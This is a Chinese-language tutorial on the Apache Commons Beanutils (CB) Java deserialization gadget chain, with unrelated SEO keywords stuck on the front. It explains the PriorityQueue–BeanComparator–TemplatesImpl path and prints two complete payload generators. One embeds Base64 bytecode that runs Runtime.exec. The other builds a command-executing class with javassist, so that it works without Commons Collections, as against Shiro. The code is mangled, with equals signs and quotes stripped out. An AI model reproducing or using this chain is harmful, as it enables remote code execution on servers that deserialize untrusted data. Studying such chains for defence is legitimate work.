深圳餐饮公司网站制作,品牌营销策略四种类型,成都网站开发企业,wordpress预加载插件一、了解Apache Commons BeanutilsApache Commons Beanutils 是 Apache Commons 工具集下的另一个项目#xff0c;它提供了对普通Java类对象#xff08;也称为JavaBean#xff09;的一些操作方法。在Java中#xff0c;有很多class的定义都符合这样的规范若干private实例字段…一、了解Apache Commons BeanutilsApache Commons Beanutils 是 Apache Commons 工具集下的另一个项目它提供了对普通Java类对象也称为JavaBean的一些操作方法。在Java中有很多class的定义都符合这样的规范若干private实例字段通过public方法来读写实例字段举例子比如定义一个User类public class User {private String name;public String getName() {return name;}public void setName(String name) {this.name name;}
}就是包含了一个私有属性name以及读取和设置这个属性的两个公开方法定义为getter和setter。getter方法以get开头setter方法以set开头。commons-beanutils中提供了一个静态方法PropertyUtils.getProperty 让使用者可以直接调用任意JavaBean的getter方法比如PropertyUtils.getProperty(new User(), name);commons-beanutils会自动找到name属性的getter方法也就是getName 然后调用获得返回值。除此之外PropertyUtils.getProperty 还支持递归获取属性比如a对象中有属性bb对象中有属性c我们可以通过PropertyUtils.getProperty(a, b.c); 的方式进行递归获取。通过这个方法使用者可以很方便地调用任意对象的getter适用于在不确定JavaBean是哪个类对象时使用。二、漏洞原理前面说到PropertyUtils.getProperty()会自动调用javaBean的get方法这样就存在一个安全问题如果get方法中存在任意命令执行的点则存在安全问题。在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化主要是通过调用了其comparator的compare方法进而调用了transform链的调用。而CB链的思路就是将其中的comparator替换成commons-beanutils库中的某个comparator达到我们的目的。其中就用到了如下的BeanComparator这个类1.org.apache.commons.beanutils.BeanComparator#compare()——调用点这里就调用到了我们上面说到的PropertyUtils.getProperty方法而且property参数对我们是可控的将会取出两个对象的property属性值之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。2.PropertyUtils.getProperty()接收两个参数 bean 类对象和 name属性名方法会返回这个类的这个属性的值但是他不是直接通过反射取值而是通过反射调用getter方法获取属性进而经过恶意的构造我们可以触发任意的getter方法。3.TemplatesImpl#getOutputProperties()——命令执行点getOutputProperties方法调用了newTransformer方法也正好可以构造字节码任意命令执行。所以 PropertyUtils.getProperty( o1, property ) 这段代码当o1是一个TemplatesImpl 对象而property 的值为outputProperties时将会自动调用getter也就是TemplatesImpl#getOutputProperties() 方法触发代码执行。调用链如下PriorityQueue#readObject -- heapify() -- siftDown() -- siftDownUsingComparator() -- comparator.compare() -- BeanComparator#compare() -- PropertyUtils.getProperty( o1, property )回过头来分析下BeanComparator的构造器在创建类的对象的时候可以为comparator赋予特定的比较器值得注意的是如果没有设定自定义的comparator其默认为ComparableComparator对象当然在调用链中将会调用他的compare方法。三、构造payload1、依赖CC链在上面对BeanComparator的构造器分析中提到了在创建类对象的时候将会判断是否存在有comparator属性值如果没有将会创建一个ComparableComparator对象。不幸的是这个类是存在commons-collections的类如果没有这个依赖在反序列化的过程中将会抛出异常。当然同样有着解决的办法1.首先创建恶意的TemplateImplbyte[] code Base64.getDecoder().decode(yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS);
TemplatesImpl obj new TemplatesImpl();
setFieldValue(obj, _bytecodes, new byte[][] {code});
setFieldValue(obj, _name, test);
setFieldValue(obj, _tfactory, new TransformerFactoryImpl());2.实例化BeanComparatorBeanComparator comparator new BeanComparator();3.实例化优先队列PriorityQueuePriorityQueue queue new PriorityQueue(2,comparator);
queue.add(1);
queue.add(1);4.反射将property 的值设置成恶意的outputProperties 将队列里的两个1替换成恶意的TemplateImpl 对象setFieldValue(comparator, property, outputProperties);
setFieldValue(queue, queue, new Object[]{obj, obj});完整代码import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {Field field obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] code Base64.getDecoder().decode(yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEAH2NvbS9odWF3ZWkvQ2xhc3NMb2FkZXIvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAALAAQADAANAA0ACwAAAAQAAQAMAAEADQAOAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAARAAsAAAAEAAEADwABAA0AEAACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQARAAAAAgAS);TemplatesImpl obj new TemplatesImpl();setFieldValue(obj, _bytecodes, new byte[][] {code});setFieldValue(obj, _name, test);setFieldValue(obj, _tfactory, new TransformerFactoryImpl());BeanComparator comparator new BeanComparator();PriorityQueue queue new PriorityQueue(2,comparator);queue.add(1);queue.add(1);setFieldValue(comparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{obj, obj});// SeriallizationTest.serizlize(queue);UnSerializeTest.unserialize(test.bin);}
}2、不依赖CC链shiro无依赖利用链前面提到了对于没有CC依赖的原因是默认下的comparator是CC依赖中的类如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。对于commons-beanutils中只有BeanComparator这一个类满足我们查找一下JDK中的类。存在很多很多常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator我们只需要反射将对应的comparator写入属性中就不需要依赖CC库了。//反射赋值
setFieldValue(beanComparator, property, outputProperties);
//下面这两个二选一都可以
//setFieldValue(beanComparator, comparator, String.CASE_INSENSITIVE_ORDER);
setFieldValue(beanComparator, comparator, Collections.reverseOrder());
setFieldValue(queue, queue, new Object[]{templates, templates});完整代码import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Collections;
import java.util.PriorityQueue;public class CB_withoutCC {public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {Field field obj.getClass().getDeclaredField(fieldname);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {//动态创建字节码String cmd java.lang.Runtime.getRuntime().exec(\calc\);;ClassPool pool ClassPool.getDefault();CtClass ctClass pool.makeClass(Evil);ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes ctClass.toBytecode();TemplatesImpl templates new TemplatesImpl();setFieldValue(templates, _name, RoboTerh);setFieldValue(templates, _tfactory, new TransformerFactoryImpl());setFieldValue(templates, _bytecodes, new byte[][]{bytes});//创建比较器BeanComparator beanComparator new BeanComparator(null, Collections.reverseOrder());PriorityQueueObject queue new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, property, outputProperties);setFieldValue(queue, queue, new Object[]{templates, templates});//序列化ByteArrayOutputStream baor new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baor);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));//反序列化ByteArrayInputStream bais new ByteArrayInputStream(baor.toByteArray());ObjectInputStream ois new ObjectInputStream(bais);Object o ois.readObject();baor.close();}
}